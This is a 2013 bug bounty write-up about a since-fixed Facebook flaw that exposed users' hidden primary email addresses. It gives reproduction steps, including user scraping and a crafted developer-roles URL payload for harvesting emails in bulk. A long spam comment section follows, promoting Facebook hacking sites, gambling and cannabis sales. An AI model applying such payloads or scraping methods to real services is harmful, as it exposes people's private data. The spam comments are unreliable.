Saturday, July 20, 2013

How I Exposed your Primary Facebook Email Address (Bug worth $4500)



Hi, For this post, I’ll be talking about how I disclose the Private Primary Email Address of any Facebook Account. With no user interaction. Enjoy.


This bug was reported to Facebook Security Team, fixed immediately

Last month, I've found a vulnerability in Facebook Developer Application Roles Page which allowed me to disclose the primary Facebook email address even if the victim set the email address privacy to "Only Me"

Steps to Reproduce

1. Grab profile links of all facebook users from Facebook People Directory i.e http://www.facebook.com/directory/people/
2. Collect Numerical Facebook ID for each Profile from facebook Graph API i.e http://graph.facebook.com/sdfsdfsdafd.sdfdsafsdfds where extracted user ID is 100006240120652
3. Block victim Facebook Account
4. Create Facebook Application -> Go to Settings -> Developer Roles 
5. Final payload for this vulnerability looks like this:

https://developers.facebook.com/apps/APPLICATION_ID/roles?unverified_groups[1][0]=VICTIM_UID


Nevertheless, you can obtain multiple email address by adding more parameters


https://developers.facebook.com/apps/APPLICATION_ID/roles
?unverified_groups[1][0]=VICTIM_UID1
&unverified_groups[2][0]=VICTIM_UID2
&unverified_groups[3][0]=VICTIM_UID3
&unverified_groups[4][0]=VICTIM_UID4
&unverified_groups[5][0]=VICTIM_UID5
&unverified_groups[6][0]=VICTIM_UID6
&unverified_groups[7][0]=VICTIM_UID7
&unverified_groups[8][0]=VICTIM_UID8
&unverified_groups[9][0]=VICTIM_UID9
&unverified_groups[10][0]=VICTIM_UID10

and so forth...



Dumping Like a Boss ;)

Just reported this issue and one hour later Facebook Security Team responded my initial report



LoL! ;)

At exactly 8:26AM the vulnerability was finally fixed



Final fix: 5 hours after initial report


Facebook was pretty fast to address this issue and resolved this within hours. Facebook Security team awarded this bug with $4500.





Facebook WhiteHat Card, baby!


I appreciate the opportunity to preserve my skills and gain some more experience. Thank you Facebook security team.

"Roy Castillo" - Facebook White Hat Page 2012 & 2013

- https://www.facebook.com/whitehat/thanks/


ProtipFocus on your target, think creative, use your imagination, don't spend your time on attacks like reflected XSS etc. try to find something special ;)


Disclosure Timeline

June 25th, 2013 at 1:22AM (GMT +08:00): Vulnerability Discovered
June 28th, 2013 at 2:43AM (GMT +08:00): Initial Report
June 28th, 2013 at 2:44AM (GMT +08:00): Autorespose from Security bot
June 28th, 2013 at 3:41AM (GMT +08:00): First response from Security Team
June 28th, 2013 at 8:26AM (GMT +08:00): Vulnerability Fixed
July 6th, 2013 at 1:40AM (GMT +08:00): Confirmation of Rory that the vulnerability had been fixed
July 19th, 2013 at 1:08AM (GMT +08:00): Bounty awarded
July 21st, 2013 at 12:00NN (GMT +08:00): Full Disclosure Published


Save The Planet!

135 comments:

  1. Replies
    1. Thank you for excellent article.You made an article that is interesting.
      Tavera car for rent in chennai|Indica car for rent in chennai|innova car for rent in chennai|mini bus for rent in chennai|tempo traveller for rent in chennai
      Keep on the good work and write more article like this...
      innova car rental chennai|Tavera car rental chennai
      Great work !!!!Congratulations for this blog

      Delete
  2. But this is possible to obtain from yahoo import user list , too , nah?

    BTW , nice finding ;)

    ReplyDelete
  3. Congrate! .. like A Boss !! ;hehhe

    ReplyDelete
  4. Hey dt live feed thing is good.. i put on my blog also.. And awesome nice bug u got on fb..
    Congratz...

    ReplyDelete
  5. Nice post man, I disagree with the Pro Tip, but well done.

    ReplyDelete
  6. hmm... fixed bug, it's not good hahaha

    ReplyDelete
  7. Amazing work pals, I really enjoy reading your interesting blogs. piratage facebook

    ReplyDelete
  8. Thumbs up guys you are really carrying out a great job.
    hacker un compte facebook

    ReplyDelete
  9. Waooow!!! Really very cool site of blogs. You can imagine what you have done for me.how to increase facebook likes

    ReplyDelete
  10. Thanks a lot for giving us a very informative post.
    wilmanadie
    pasang iklan gratis

    ReplyDelete
  11. Aucun de ses piratage Facebook fonctionne aujourd hui plus rien de marche sauf ce site qui est encore en ligne ▄︻̷̿┻̿═━一 http://www.facecompte.com/

    piratage de facebook

    ReplyDelete
  12. We interviewed an experienced Bug Bounty Hunter - thought you'd be interested to read their comments:

    https://www.concise-courses.com/interview-ethical-hacker-bug-bounty-hunter/

    ReplyDelete
  13. This comment has been removed by the author.

    ReplyDelete
  14. This comment has been removed by the author.

    ReplyDelete
  15. I read about your post and I can say it is awesome.. :)
    I really appreciated if you can visit my site.. Thank you!

    PERTH DIGITAL AGENCY

    ReplyDelete
  16. jaring pengaman
    jaring futsal
    jaring gawang
    jaring golf
    Jaring Pengaman Safety Net Untuk Gawang Futsal Dan Golf


    http://jaring-pengaman-net.blogspot.co.id/2017/08/jaring-pengaman-safety-net-untuk-gawang.html

    ReplyDelete
  17. Ever wanted to get free Facebook Followers?
    Did you know you can get them AUTOMATICALLY & ABSOLUTELY FOR FREE by registering on Like 4 Like?

    ReplyDelete
  18. Articles that are very interesting and I really like your thoughts in article writing is very extraordinary.
    raja poker

    ReplyDelete
  19. The article is very interesting and I really like the article like this thanks
    judi poker

    ReplyDelete
  20. If you have experience of using Facebook, then you will want to know all about this. I have just come across a company that is actively hiring experienced Facebook users. You can get paid great money doing this, too.

    Check out all the details here…it’s well worth a look: https://socialsalerep.com?hyden7778

    ReplyDelete
  21. I just had to send you a quick message about this cool new company I have just come across. They have this awesome Viral Multiplier Technology that helps social media users like you make great money online.

    To find out what it’s all about, just click below: https://socialsalerep.com?hyden1114

    ReplyDelete
  22. Hey, Wow all the posts are very informative for the people who visit this site. Good work! We also have a Website. Please feel free to visit our site. Thank you for sharing. Well written article Thank You for Sharing with Us pmp training institute in chennai | pmp training in chennai project management training certification | project management training in chennai | project management certification online |

    ReplyDelete
  23. I just had to send you a quick message about this cool new company I have just come
    across. They have this awesome Viral Multiplier Technology that helps social media users
    like you make great money online.
    To find out what it’s all about, just click below: https://socialsalerep.com ?hyden4158

    ReplyDelete
  24. Hey, very nice site. I came across this on Google, and I am stoked that I did. I will definitely be coming back here more often. Wish I could add to the conversation and bring a bit more to the table, but am just taking in as much info as I can at the moment. Thanks for sharing.

    Airplane Tug for Sale

    ReplyDelete
  25. Thank you for the impressive post.


    Checkout my site to Buy Instant Facebook Post Likes

    ReplyDelete
  26. The post is very nice. I just shared on my Facebook Account.

    Checkout my site to Buy Instant Facebook Post Likes

    ReplyDelete
  27. Thank you for awesome writeup. It if truth be told used to be an amusement account it. Glance complex to more brought agreeable from you! Also Check: YoWhatsApp Apk & WhatsApp Groups.

    ReplyDelete
  28. Best Quality pet table designed for professional groomers, including electric & hydraulic large dog grooming table . we offer high quality grooming supplies at lower prices! Both retail and wholesale are welcomed!

    ReplyDelete
  29. Great information...
    Thanks for posting this..
    Keep Posting...

    Latest Fmovies Proxy

    ReplyDelete
  30. Thanks for share!
    I am new this website and i want to say that this is awesome post very useful for me
    You can visit for Buy Facebook Post Likes with 10% extra likes on your facebook Post or page.100% full customer satisfaction.

    ReplyDelete
  31. Amazing Article sir, Thank you for giving the valuable Information really awesome.

    Thank you, sir

    Cheers!

    WHATSAPP GROUP JOIN LINK LIST

    ReplyDelete
  32. amazing article please check my group

    ReplyDelete
  33. I bookmarked this blog site, really good information
    Thank you for posting. Have a look here also Buy Real Instagram Followers

    ReplyDelete
  34. On the off chance that you wonder how and where can discover them, at that point the arrangement is simple as well. logo design service

    ReplyDelete
  35. Thank you sir for this helpful information. I was looking for this solution on the Internet and finally landed on this article. Well, if you love using WhatsApp Mods, try out YoWhatsApp which is the great WhatsApp Mod application I have used ever. I'm using this application on my Samsung Galaxy S9 device without any further issues.

    ReplyDelete
  36. if you are looking for best whatsapp group link then visit there whatsapp group link

    ReplyDelete
  37. if you are looking for best whatsapp group link then visit there whatsapp group link

    ReplyDelete
  38. Cool stuff you have got and you keep update all of us. find email

    ReplyDelete
  39. Thanks for this amazing post its help me a lot to solve my issues click here to download Kinemaster Mod APK

    ReplyDelete
  40. All the points you described so beautiful. Every time i read your i blog and i am so surprised that how you can write so well.Download Best Friendship quotes for your best Friends

    ReplyDelete
  41. very nice post and detail work done by the article and it shows how good you are in writing good stuff please check Buy Instant Facebook Post Likes and check my work

    ReplyDelete
  42. Thanks for sharing such an informative Post. I enjoy a lot while reading. Keep sharing your best posts. Cheers...

    Did you now number one online casino:
    sbobet
    เอสบีโอเบท
    sbobetมือถือ
    sbobetthai

    ReplyDelete
  43. Free Paytm Cash Top 20 Best Free Recharge Apps For Android
    June 16, 2019 by Shubham Meena 18 Comments



    Free Recharge Apps for Android are the best things to get rid of costly recharges. Many people search on the Internet for Best Free Apps for Android to earn talk time. Refer & Earn Apps

    ReplyDelete
  44. BRO THANKS FOR THIS AWESOME POST, I REALLY FOUND THE ARTICLE WHAT I AM SEARCHING FOR, YOU ARE PROVIDING GREAT KNOWLEDGE THROUGH YOUR WEBSITE, ALSO YOU CAN READ MY ARTICLE AS WELL NEW WHATSAPP GROUP LINKS

    ReplyDelete
  45. We are one of the Best Security Services in Delhi, House Keeping Services in Delhi and Facility Management Services in Janakpuri in Delhi, ISF India established in the year 2005 has been providing all type of security services in Delhi and all over India
    Best Security Service in Delhi
    House Keeping Services in Delhi
    Facility Management Services in Janakpuri

    ReplyDelete
  46. This comment has been removed by the author.

    ReplyDelete
  47. Its a pretty nice and informative post and if you want to join Whatsapp Group then you can easily do.

    ReplyDelete
  48. https://www.tracedeals.in/tata-cliq-shopping-offers-in-india

    Find Latest Tata Cliq Online Shopping GiftCards Coupons, Discounts and offers on Women's & Men FFashion, TV & Appliances, Electronics, Kid's Fashions, Jewellery at Tracedeals. Tata Cliqcash, GiftCard, Tata CLIQ Luxury, Popular Searches and Offers 70% Off on everything at Tracedeals


    Thanks for sharing this article. For more Online Shopping offers you can visit
    tata cliq Coupons
    tata cliq Offers
    tata cliq luxury

    ReplyDelete
  49. Thanks for sharing this article. For more Online Shopping Offers Whatsapp Groups you can visit
    Whatsapp groups
    Whatsapp groups links
    Whatsapp groups Join links
    Whatsapp groups list

    ReplyDelete
  50. Thanks for sharing this important information with us.
    House Keeping Services in Delhi

    ReplyDelete
  51. This comment has been removed by the author.

    ReplyDelete
  52. If you want to increase engagement on facebook post. So click here, Buy Facebook Post Likes

    ReplyDelete
  53. Thankful to you for your post, I check for this article on time, today I find it finally. Visit for more Product Review Websites .

    ReplyDelete
  54. I am very happy to see this post because it is very useful for me because there is so much information in it. I always like to read quality and I'm happy that I got this thing in your post. Thanks for sharing the best article post. visit Pepperfry coupons pepperfry furniture offers pepperfry Sofa

    ReplyDelete
  55. Dank Vapes Carts For Sale. You may know them as pre-loaded cannabis oil vape cartridges, hash oil vape pens, or even disposable wax pens. These relatively new and exciting devices have permeated the cannabis concentrate market over the last several years, quickly becoming the go-to concentrate-based product for both the novice and accustomed cannabis fans. When it comes to choosing the right pre-loaded disposable pen, various factors stand in the way of making a decision. Although many of these products seem aesthetically similar at first glance, there are many nuances that distinguish them from one another. With brands like Dank Vapes taking the ranks of premium. Dank Vapes Carts For Sale , FULL GRAM Cartridges online Purple Punch 92.23% THC.BRASS KNUCKLES
    Deciding to use a Dank Vape pre-filled cannabis oil vape cartridge takes the guesswork completely out of the equation.Unlike dabbing, using a pre-loaded vape pen allows for a highly controlled dose with each inhalation. This gives the user full autonomy of how much or little to consume.710 King Pen Cartridges,MARIO CARTRIDGES

    ReplyDelete
  56. nice article bro i really ejjoy it. https://www.lettecho.com/2019/10/delhi-girl-whatsapp-group-link.html

    ReplyDelete
  57. Great post, thanks for sharing this with us. I will share this with my team and friends too. To make yours and your reader’s shopping more affordable, please visit Online Shopping Coupons .

    ReplyDelete
  58. Thanks for your post.

    Welcome to “Chanchal Security Service", it is our GREAT pleasure to introduce ourselves as one of the Best Security guard service in Gurugram.

    Security Guard Service in Gurugram

    ReplyDelete
  59. Nice Information

    Innovation Security Force has been one of the finest company who provides you the best Security Services in Delhi with an affordable prices.

    Security Services in Delhi

    ReplyDelete
  60. Innovation Security Force India are one of the best security service provider in Delhi. Our endeavor is to provide Best Security Services in Delhi at efficient cost through our handpicked carefully selected.

    Best Security Services in Delhi

    ReplyDelete
  61. Really, this article is truly one of the best in the history of the article. I am an antique 'Article' collector and sometimes I read some new articles if I find it interesting. And I found this quite interesting and had to go into my collection.
    Very good job!
    agen domino99
    daftar idpro poker
    88dewa
    aktifqq
    armaniqq
    aslibandar
    aslidomino
    bandarkiu
    bandarq168
    bandarqq

    ReplyDelete
  62. Thank you for sharing such beautiful Information. please keep sharing such as useful information. Read our posts related to responsive web design.
    software-development

    ReplyDelete
  63. Thank you software-development
    software-development for sharing such beautiful Information. please keep sharing such as useful information. Read our posts related to responsive web design.

    ReplyDelete
  64. OmG This Post is Having Valuable Knowledge. With This Primary Facebook Exposure Steps. Please Visit Us

    ReplyDelete
  65. Looks realy great! Thanks for the post.
    Please Visit Our Website:


    ESPORTS MOBILE LEGENDS: BANGBANG

    ReplyDelete
  66. Thanks for every other magnificent post. Where else may anybody get that kind of information in such a perfect method of
    writing? I have a presentation subsequent week, and I’m at the search for such information.

    Visit Giant Brand Solutions
    wordpress bundle
    wordpress themes and plugins
    premium wordpress themes and plugins
    wp starter pack
    wordpress theme update
    wordpress update plugins
    wordpress website themes
    worpdress theme sites
    wordpressbundle
    wpstarterpack

    ReplyDelete
  67. Awesome Embroidery
    Article, I will be following all these Custom Design tips for Facebook. It's very helpful f. Thank you for valuable post.

    ReplyDelete

  68. Wonderful your Blog is good. Best my product a Essential path reallytive have many service ! Eventually, they became part of my clipping path. but my product relevant to your post so essential image edite,banner desgince,log desgince, check my site Clipping Path Service details.Thanks for You Sharing.

    ReplyDelete
  69. Such a nice blog Thanks for sharing information It is really helpful article please read it too my blogChange Email Address on Facebook.


    ReplyDelete
  70. Ingin memainkan judi online dan mendapatkan keuntungan banyak segera dapatkan infonya melalui website yang tersedia dibawah ini.

    Situs Judi Sakong Online itu99
    Trik Menang Judi Togel ituGol
    Trik jitu Menang Casino IndoWinBola
    Situs Roulette Online QBet99

    Dapatkan kemenangan mudah pada permainan Judi Online dengan menggunakan aplikasi hack yang tersedia diwebsite Cheat Pasti yang tersedia dibawah ini.

    Hack Game Casino Online

    Nonton Video Panas Dan Baca Cerita Dewasa hanya diwebsite Situs Panas yang tersedia dibawah ini.

    Ngseks Dengan Mama Dan Mbakku
    Ngseks Dengan Pasien Dirumah Sakit
    Ngentot Dipemandian Air Panas

    ReplyDelete
  71. The Walt Disney Company is well known as Disney by numerous . It is viewed as American enhanced worldwide that practice on broad communications and other stimulation aggregate. Disney headquarter is arranged at Walt Disney Studios complex in Burbank, California America.
    visit disneyhubportal

    ReplyDelete
  72. The Walt Disney Company is well known as Disney by numerous . It is viewed as American enhanced worldwide that practice on broad communications and other stimulation aggregate. Disney headquarter is arranged at Walt Disney Studios complex in Burbank, California America.
    visit disneyhubportal

    ReplyDelete
  73. The Walt Disney Company is well known as Disney by numerous . It is viewed as American enhanced worldwide that practice on broad communications and other stimulation aggregate. Disney headquarter is arranged at Walt Disney Studios complex in Burbank, California America.
    visit disneyhubportal

    ReplyDelete
  74. The Walt Disney Company is well known as Disney by numerous . It is viewed as American enhanced worldwide that practice on broad communications and other stimulation aggregate. Disney headquarter is arranged at Walt Disney Studios complex in Burbank, California America.
    visit disneyhubportal

    ReplyDelete
  75. Best Home Packers and Movers Balewadi aim to provide personally hand free packing and moving services to its customers. Best Home Packers and Movers in Balewadi are committed to providing our clients safe moving, during handling, loading and unloading, and transportation.

    ReplyDelete
  76. I just loved your article on the beginners guide to starting a blog.If somebody take this blog article seriously in their life, he/she can earn his living by doing blogging.thank you for thizs article. pega online training , best pega online training ,
    top pega online training

    ReplyDelete
  77. He spent a day finding the exploit, and got $4500. ... The question is, how much money is it worth to Facebook to fix a potentially embarrassing vulnerability. ... that it shouldn't be their primary motivation for disclosing a security vulnerability. ... It's true that "Bad Guys" would pay enormous amounts for a bug. by buy instagram followers australia

    ReplyDelete
  78. I have been reading for Bug Bounty write-ups for a few months, I found it ... How I Exposed your Primary Facebook Email Address (Bug worth $4500) by Roy ...
    by Buy Instagram Followers italy

    ReplyDelete